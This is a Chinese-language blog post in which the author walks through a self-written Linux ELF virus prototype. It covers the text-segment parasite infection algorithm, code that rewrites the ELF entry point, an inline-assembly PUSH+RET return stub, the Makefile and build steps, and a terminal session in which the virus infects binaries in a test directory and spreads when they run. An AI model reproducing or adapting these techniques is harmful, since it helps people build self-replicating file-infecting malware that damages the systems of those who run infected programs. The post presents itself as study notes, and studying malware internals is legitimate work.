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剖析Linux病毒工作过程和关键环节

作者：闵涛文章来源：闵涛的学习笔记点击数：1080 更新时间：2008/3/14 9:54:00

一、介绍

　　写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结，同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识，要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。

　　二、 ELF Infector (ELF文件感染器)

　　为了制作病毒文件，我们需要一个ELF文件感染器，用于制造第一个带毒文件。对于ELF文件感染技术，在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》一文中已经有了一个非常好的分析、描述，在这方面我还没有发现可以对其进行补充的地方，因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来，以供参考： The final algorithm is using this information is.

　　* Increase p_shoff by PAGE_SIZE in the ELF header

　　* Patch the insertion code (parasite) to jump to the entry point

　　(original)

　　* Locate the text segment program header

　　* Modify the entry point of the ELF header to point to the new

　　code (p_vaddr + p_filesz)

　　* Increase p_filesz by account for the new code (parasite)

　　* Increase p_memsz to account for the new code (parasite)

　　* For each phdr who's segment is after the insertion (text segment)

　　* increase p_offset by PAGE_SIZE

　　* For the last shdr in the text segment

　　* increase sh_len by the parasite length

　　* For each shdr who's section resides after the insertion

　　* Increase sh_offset by PAGE_SIZE

　　* Physically insert the new code (parasite) and pad to PAGE_SIZE, into

　　the file - text segment p_offset + p_filesz (original)

　　在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在附录中你可以看到这个感染工具的源代码: g-elf-infector.cg-elf-infector与病毒是独立开的，其只在制作第一个病毒文件时被使用。我简单介绍一下它的使用方法，g-elf-infector.c可以被用于任何希望--将二进制代码插入到指定文件的文本段，并在目标文件执行时首先被执行--的用途上。g-elf-infector.c的接口很简单，你只需要提供以下三个定义：

　　* 存放你的二进制代码返回地址的地址，这里需要的是这个地址与代码起始地址的偏移，用于返回到目标程序的正常入口 #define PARACODE_RETADDR_ADDR_OFFSET 1232

　　* 要插入的二进制代码（由于用C编写，所以这里需要以一个函数的方式提供）

　　void parasite_code(void);

　　* 二进制代码的结束（为了易用，这里用一个结尾函数来进行代码长度计算） void parasite_code_end(void);

　　parasite_code_end应该是parasite_code函数后的第一个函数定义，通常应该如下表示 void parasite_code(void)

　　{

　　...

　　...

　　...

　　}

　　void parasite_code_end(void) {}

　　在这里存在一个问题，就是编译有可能在编译时将parasite_code_end放在parasite_code地址的前面，这样会导致计算代码长度时失败，为了避免这个问题，你可以这样做 void parasite_code(void)

　　{

　　...

　　...

　　...

　　}

　　void parasite_code_end(void) {parasite_code();}

　　有了这三个定义，g-elf-infector就能正确编译，编译后即可用来ELF文件感染 face=Verdana>

　　三、病毒原型的工作过程

　　1 首先通过ELF Infector将病毒代码感染到一个ELF文件，这样就创造了第一个带毒文件，后续的传播就由它来完成。

　　2 当带毒文件被执行时，会首先跳到病毒代码开始执行。

　　3 病毒代码开始发作，在这个原型里，病毒会直接开始传播。

　　4 病毒遍历当前目录下的每一个文件，如果是符合条件的ELF文件就开始感染。

　　5 病毒的感染过程和ELF Infector的过程类似，但由于工作环境的不同，代码的实现也是有较大区别的。

　　6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码，如果无法满足，病毒会忽略此ELF。对于被感染过一次的ELF文件，文本段将不会有剩余的空间，因此二次感染是不会发生的。

　　7 病毒代码执行过后，会恢复堆栈和所有寄存器（这很重要），然后跳回到真正的可执行文件入口，开始正常的运行过程。

　　上面对病毒原型的工作过程的介绍也许显得千篇一律了，和我们早就熟知的关于病毒的一些介绍没有什么区别？是的，的确是这样，原理都是类似的，关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。

　　四、关键技术问题及处理

　　1 ELF文件执行流程重定向和代码插入

　　在ELF文件感染的问题上，ELF Infector与病毒传播时调用的infect_virus思路是一样的：

　　* 定位到文本段，将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉ELF文件的格式，将病毒代码复制到文本段尾部后，能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联，防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题，见ELF文档中的描述： p_align

　　As ``Program Loading'' later in this part describes, loadable

　　process segments must have congruent values for p_vaddr and

　　p_offset, modulo the page size.

　　* 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向： /* Modify the entry point of the ELF */

　　org_entry = ehdr->e_entry;

　　ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;

　　2 病毒代码如何返回到真正的ELF文件入口

　　方法技巧应该很多，这里采用的方法是PUSH+RET组合： __asm__ volatile (

　　...

　　"return:\n\t"

　　"push $0xAABBCCDD\n\t" /* push ret_addr */

　　"ret\n"

　　::);

　其中0xAABBCCDD处存放的是真正的程序入口地址，这个值在插入病毒代码时由感染程序来填写。

　　五、新编译环境下的调试方法 grip2@linux:~/tmp/virus> ls

　　g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c

　　Makefile parasite-sample.c parasite-sample.h

　　调整Makefile文件，将编译模式改为调试模式，即关掉-DNDEBUG选项 grip2@linux:~/tmp/virus> cat Makefile

　　all: foo gei

　　gei: g-elf-infector.c gvirus.o

　　gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG

　　foo: foo.c

　　gcc $< -o foo

　　gvirus.o: gvirus.c

　　gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

　　clean:

　　rm *.o -rf

　　rm foo -rf

　　rm gei -rf

　　编译代码 grip2@linux:~/tmp/virus> make

　　gcc foo.c -o foo

　　gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

　　gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

　　先获取病毒代码长度，然后调整gvirus.c中的#define PARACODE_LENGTH定义

　　grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度

　　Parasite code length: 1744

　　获取病毒代码开始位置和0xaabbccdd的地址，计算存放返回地址的地址的偏移 grip2@linux:~/tmp/virus> objdump -d gei　grep aabbccdd

　　8049427: 68 dd cc bb aa push $0xaabbccdd

　　grip2@linux:~/tmp/virus> objdump -d gei　grep ""

　　08048d80 :

　　8049450: e9 2b f9 ff ff jmp 8048d80

　　grip2@linux:~/tmp/virus> objdump -d gei　grep ":"

　　08048d80 :

　　0x8049427与0x8048d80相减即获得我们需要的偏移，用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值

　　重新编译 grip2@linux:~/tmp/virus> make clean

　　rm *.o -rf

　　rm foo -rf

　　rm gei -rf

　　grip2@linux:~/tmp/virus> make

　　gcc foo.c -o foo

　　gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

　　gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

　　grip2@linux:~/tmp/virus> ls

　　gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c

　　g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h

　　建立一个测试目录，测试一下 grip2@linux:~/tmp/virus> mkdir test

　　grip2@linux:~/tmp/virus> cp gei foo test

　　grip2@linux:~/tmp/virus> cd test

　　grip2@linux:~/tmp/virus/test> ls

　　gei foo

　　grip2@linux:~/tmp/virus/test> cp foo h

　　制作带毒程序 grip2@linux:~/tmp/virus/test>. /gei h

　　file size: 8668

　　e_phoff: 00000034

　　e_shoff: 00001134

　　e_phentsize: 00000020

　　e_phnum: 00000008

　　e_shentsize: 00000028

　　e_shnum: 00000025

　　text segment file offset: 0

　　[15 sections patched]

　　grip2@linux:~/tmp/virus/test> ll

　　total 44

　　-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei

　　-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h

　　-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo

　　运行带毒程序 grip2@linux:~/tmp/virus/test>. /h

　　.

　　..

　　gei

　　foo

　　h

　　.backup.h

　　real elf point

　　grip2@linux:~/tmp/virus/test> ll

　　total 52

　　-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei

　　-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h

　　-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo

　　测试上面带毒程序运行后，是否感染了其他ELF程序 grip2@linux:~/tmp/virus/test>. /foo

　　.

　　..

　　gei

　　Better luck next file

　　foo

　　h

　　Better luck next file

　　.backup.h

　　Better luck next file

　　real elf point

　　OK，成功 grip2@linux:~/tmp/virus/test> cp. ./foo hh

　　grip2@linux:~/tmp/virus/test> ll

　　total 64

　　-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei

　　-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h

　　-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh

　　-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo

　　grip2@linux:~/tmp/virus/test>. /foo

　　.

　　..

　　gei

　　Better luck next file

　　foo

　　h

　　Better luck next file

　　.backup.h

　　Better luck next file

　　hh

　　real elf point

　　grip2@linux:~/tmp/virus/test>

　　六、总结

　　由于我既不是一个virus coder也不是一个anti-viruscoder，所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确，分析不够到位，还请指正，谢谢。

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